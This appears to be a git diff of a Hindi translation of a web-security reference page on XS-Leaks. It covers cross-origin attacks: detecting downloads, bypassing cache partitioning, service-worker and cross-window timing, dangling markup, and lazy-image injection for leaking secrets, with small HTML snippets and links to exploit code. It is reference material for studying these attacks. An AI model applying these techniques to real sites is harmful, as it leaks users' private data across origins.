- जब एक पृष्ठ `Content-Disposition: attachment` हेडर का उपयोग करके फ़ाइल डाउनलोड को ट्रिगर करता है, तो यह एक नेविगेशन इवेंट का कारण नहीं बनता है।
|
||||
- सामग्री को एक iframe में लोड करके और नेविगेशन इवेंट्स की निगरानी करके, यह जांचना संभव है कि क्या सामग्री का निपटान फ़ाइल डाउनलोड का कारण बनता है (कोई नेविगेशन नहीं) या नहीं।
|
||||
3. **iframes के बिना डाउनलोड नेविगेशन**:
|
||||
3. **iframe के बिना डाउनलोड नेविगेशन**:
|
||||
- iframe तकनीक के समान, यह विधि iframe के बजाय `window.open` का उपयोग करती है।
|
||||
- नए खोले गए विंडो में नेविगेशन इवेंट्स की निगरानी करके यह पता लगाया जा सकता है कि क्या फ़ाइल डाउनलोड को ट्रिगर किया गया था (कोई नेविगेशन नहीं) या यदि सामग्री इनलाइन प्रदर्शित की गई थी (नेविगेशन होता है)।
|
||||
|
||||
@ -766,10 +766,10 @@ CSS `:visited` चयनकर्ता का उपयोग URLs को अ
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
> [!WARNING]
|
||||
> यही कारण है कि यह तकनीक दिलचस्प है: क्रोम में अब **कैश विभाजन** है, और नए खोले गए पृष्ठ का कैश कुंजी है: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)` लेकिन यदि मैं एक ngrok पृष्ठ खोलता हूँ और इसमें fetch का उपयोग करता हूँ, तो कैश कुंजी होगी: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)` , **कैश कुंजी अलग है**, इसलिए कैश साझा नहीं किया जा सकता। आप यहाँ अधिक विवरण पा सकते हैं: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> यही कारण है कि यह तकनीक दिलचस्प है: क्रोम में अब **कैश विभाजन** है, और नए खोले गए पृष्ठ का कैश कुंजी है: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, लेकिन यदि मैं एक ngrok पृष्ठ खोलता हूँ और इसमें fetch का उपयोग करता हूँ, तो कैश कुंजी होगी: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **कैश कुंजी अलग है**, इसलिए कैश साझा नहीं किया जा सकता। आप यहाँ अधिक विवरण पा सकते हैं: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> (Comment from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
यदि एक साइट `example.com` `*.example.com/resource` से एक संसाधन शामिल करती है, तो वह संसाधन **उसी कैशिंग कुंजी** के साथ होगा जैसे कि यदि संसाधन को सीधे **शीर्ष स्तर की नेविगेशन** के माध्यम से अनुरोध किया गया हो। इसका कारण यह है कि कैशिंग कुंजी शीर्ष स्तर के _eTLD+1_ और फ्रेम _eTLD+1_ से बनी होती है।
|
||||
यदि एक साइट `example.com` `*.example.com/resource` से एक संसाधन शामिल करती है, तो वह संसाधन **उसी कैशिंग कुंजी** के साथ होगा जैसे कि यदि संसाधन को सीधे **शीर्ष-स्तरीय नेविगेशन** के माध्यम से अनुरोध किया गया हो। इसका कारण यह है कि कैशिंग कुंजी शीर्ष-स्तरीय _eTLD+1_ और फ्रेम _eTLD+1_ से बनी होती है।
|
||||
|
||||
क्योंकि कैश तक पहुंचना संसाधन को लोड करने की तुलना में तेज़ है, यह संभव है कि एक पृष्ठ के स्थान को बदलने का प्रयास करें और इसे 20ms (उदाहरण के लिए) के बाद रद्द करें। यदि रोकने के बाद मूल बदल गया, तो इसका मतलब है कि संसाधन कैश किया गया था।\
|
||||
या बस **संभावित रूप से कैश किए गए पृष्ठ पर कुछ fetch भेजें और यह मापें कि इसमें कितना समय लगता है**।
|
||||
@ -799,7 +799,7 @@ _**fetch**_ और _**setTimeout**_ का उपयोग करें एक *
|
||||
- **Inclusion Methods**: HTML Elements (script)
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Summary:** यह संभव है कि **बिल्ट-इन फ़ंक्शंस को ओवरराइट करें** और उनके तर्कों को पढ़ें जो यहां तक कि **क्रॉस-ओरिजिन स्क्रिप्ट** से भी हैं (जिसे सीधे नहीं पढ़ा जा सकता), यह **मूल्यवान जानकारी लीक कर सकता है**।
|
||||
- **Summary:** यह संभव है कि **बिल्ट-इन फ़ंक्शंस को ओवरराइट करें** और उनके तर्कों को पढ़ें जो **क्रॉस-ओरिजिन स्क्रिप्ट** से भी हो सकते हैं (जिसे सीधे नहीं पढ़ा जा सकता), यह **मूल्यवान जानकारी लीक कर सकता है**।
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
|
||||
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
||||
@ -810,7 +810,7 @@ _**fetch**_ और _**setTimeout**_ का उपयोग करें एक *
|
||||
- **Summary:** सेवा श्रमिकों का उपयोग करके एक वेब के निष्पादन समय को मापें।
|
||||
- **Code Example**:
|
||||
|
||||
दी गई स्थिति में, हमलावर अपने डोमेन में एक **सेवा श्रमिक** को पंजीकृत करने की पहल करता है, विशेष रूप से "attacker.com"। इसके बाद, हमलावर मुख्य दस्तावेज़ से लक्षित वेबसाइट में एक नई विंडो खोलता है और **सेवा श्रमिक** को एक टाइमर शुरू करने के लिए निर्देशित करता है। जैसे ही नई विंडो लोड होना शुरू होती है, हमलावर पिछले चरण में प्राप्त संदर्भ को **सेवा श्रमिक** द्वारा प्रबंधित पृष्ठ पर नेविगेट करता है।
|
||||
दिए गए परिदृश्य में, हमलावर अपने डोमेन में एक **सेवा श्रमिक** को पंजीकृत करने की पहल करता है, विशेष रूप से "attacker.com"। इसके बाद, हमलावर मुख्य दस्तावेज़ से लक्षित वेबसाइट में एक नई विंडो खोलता है और **सेवा श्रमिक** को एक टाइमर शुरू करने के लिए निर्देशित करता है। जैसे ही नई विंडो लोड होना शुरू होती है, हमलावर पिछले चरण में प्राप्त संदर्भ को **सेवा श्रमिक** द्वारा प्रबंधित पृष्ठ पर नेविगेट करता है।
|
||||
|
||||
पिछले चरण में शुरू की गई अनुरोध के आगमन पर, **सेवा श्रमिक** **204 (No Content)** स्थिति कोड के साथ प्रतिक्रिया करता है, प्रभावी रूप से नेविगेशन प्रक्रिया को समाप्त करता है। इस बिंदु पर, **सेवा श्रमिक** पहले चरण में शुरू किए गए टाइमर से एक माप कैप्चर करता है। यह माप उस अवधि से प्रभावित होता है जो नेविगेशन प्रक्रिया में देरी का कारण बनती है।
|
||||
|
||||
@ -830,12 +830,12 @@ _**fetch**_ और _**setTimeout**_ का उपयोग करें एक *
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
- **Summary:** `window.open` का उपयोग करके एक अनुरोध करने में लगने वाले समय को मापने के लिए [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) का उपयोग करें। अन्य घड़ियों का उपयोग किया जा सकता है।
|
||||
- **Summary:** `window.open` का उपयोग करके अनुरोध करने में लगने वाले समय को मापने के लिए [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) का उपयोग करें। अन्य घड़ियों का उपयोग किया जा सकता है।
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
|
||||
## With HTML or Re Injection
|
||||
|
||||
यहां आप क्रॉस-ओरिजिन HTML से जानकारी निकालने की तकनीकों को पा सकते हैं **HTML सामग्री को इंजेक्ट करते हुए**। ये तकनीकें उन मामलों में दिलचस्प हैं जहां किसी भी कारण से आप **HTML इंजेक्ट कर सकते हैं लेकिन आप JS कोड इंजेक्ट नहीं कर सकते**।
|
||||
यहाँ आप क्रॉस-ओरिजिन HTML से जानकारी निकालने की तकनीकों को पा सकते हैं **HTML सामग्री को इंजेक्ट करते हुए**। ये तकनीकें उन मामलों में दिलचस्प हैं जहां किसी भी कारण से आप **HTML इंजेक्ट कर सकते हैं लेकिन आप JS कोड इंजेक्ट नहीं कर सकते**।
|
||||
|
||||
### Dangling Markup
|
||||
|
||||
@ -846,14 +846,14 @@ dangling-markup-html-scriptless-injection/
|
||||
### Image Lazy Loading
|
||||
|
||||
यदि आपको **सामग्री निकालने** की आवश्यकता है और आप **गुप्त के पहले HTML जोड़ सकते हैं** तो आपको **सामान्य लटकते मार्कअप तकनीकों** की जांच करनी चाहिए।\
|
||||
हालांकि, यदि किसी भी कारण से आपको **चर द्वारा चर** करना **अनिवार्य** है (शायद संचार एक कैश हिट के माध्यम से है) तो आप इस ट्रिक का उपयोग कर सकते हैं।
|
||||
हालाँकि, यदि किसी भी कारण से आपको **चर द्वारा चर** करना **पड़ता है** (शायद संचार एक कैश हिट के माध्यम से है) तो आप इस ट्रिक का उपयोग कर सकते हैं।
|
||||
|
||||
HTML में **छवियों** में एक "**loading**" विशेषता होती है जिसका मान "**lazy**" हो सकता है। इस मामले में, छवि तब लोड होगी जब इसे देखा जाएगा और न कि जब पृष्ठ लोड हो रहा हो:
|
||||
HTML में **छवियों** में एक "**loading**" विशेषता होती है जिसका मान "**lazy**" हो सकता है। इस मामले में, छवि तब लोड होगी जब इसे देखा जाएगा और पृष्ठ लोड होने के दौरान नहीं:
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
इसलिए, आप जो कर सकते हैं वह है **बहुत सारे जंक कैरेक्टर्स** जोड़ना (उदाहरण के लिए **हजारों "W"**) ताकि **गुप्त जानकारी से पहले वेब पेज को भर सकें या कुछ ऐसा जोड़ें जैसे** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
फिर यदि उदाहरण के लिए हमारी **इंजेक्शन ध्वज से पहले प्रकट होती है**, तो **छवि** **लोड** होगी, लेकिन यदि **ध्वज के बाद** प्रकट होती है, तो ध्वज + जंक **इसे लोड होने से रोक देगा** (आपको यह तय करने के लिए खेलना होगा कि कितनी जंक डालनी है)। यही [**इस लेख में**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) हुआ।
|
||||
इसलिए, आप जो कर सकते हैं वह है **कई जंक कैरेक्टर्स जोड़ना** (उदाहरण के लिए **हजारों "W"**) ताकि **गुप्त के पहले वेब पेज को भर सकें या कुछ ऐसा जोड़ें जैसे** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
फिर यदि उदाहरण के लिए हमारी **इंजेक्शन ध्वज के पहले दिखाई देती है**, तो **छवि** **लोड** होगी, लेकिन यदि **ध्वज के बाद** दिखाई देती है, तो ध्वज + जंक **इसे लोड होने से रोक देगा** (आपको यह तय करने के लिए खेलना होगा कि कितनी जंक डालनी है)। यही [**इस लेख में**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) हुआ।
|
||||
|
||||
एक और विकल्प होगा कि यदि अनुमति हो तो **स्क्रॉल-टू-टेक्स्ट-फ्रैगमेंट** का उपयोग करें:
|
||||
|
||||
@ -871,9 +871,9 @@ HTML में **छवियों** में एक "**loading**" विश
|
||||
|
||||
इसका शोषण करने के लिए कुछ कोड उदाहरण: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
|
||||
### इमेज लेज़ी लोडिंग टाइम आधारित
|
||||
### इमेज लेज़ी लोडिंग टाइम बेस्ड
|
||||
|
||||
यदि **बाहरी छवि लोड करना संभव नहीं है** जो हमलावर को संकेत दे सके कि छवि लोड हो गई है, तो एक और विकल्प होगा कि **कई बार अक्षर का अनुमान लगाने की कोशिश करें और उसे मापें**। यदि छवि लोड होती है तो सभी अनुरोधों में अधिक समय लगेगा बनिस्बत इसके कि छवि लोड नहीं होती। यही [**इस लेख के समाधान में**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **संक्षेप में उपयोग किया गया था:**
|
||||
यदि **बाहरी छवि को लोड करना संभव नहीं है** जो हमलावर को संकेत दे सके कि छवि लोड हो गई है, तो एक और विकल्प होगा कि **कई बार अक्षर का अनुमान लगाने की कोशिश करें और उसे मापें**। यदि छवि लोड होती है तो सभी अनुरोधों में अधिक समय लगेगा बनिस्बत इसके कि छवि लोड नहीं होती। यही [**इस लेख के समाधान में**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **संक्षेप में उपयोग किया गया था:**
|
||||
|
||||
{{#ref}}
|
||||
xs-search/event-loop-blocking-+-lazy-images.md
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user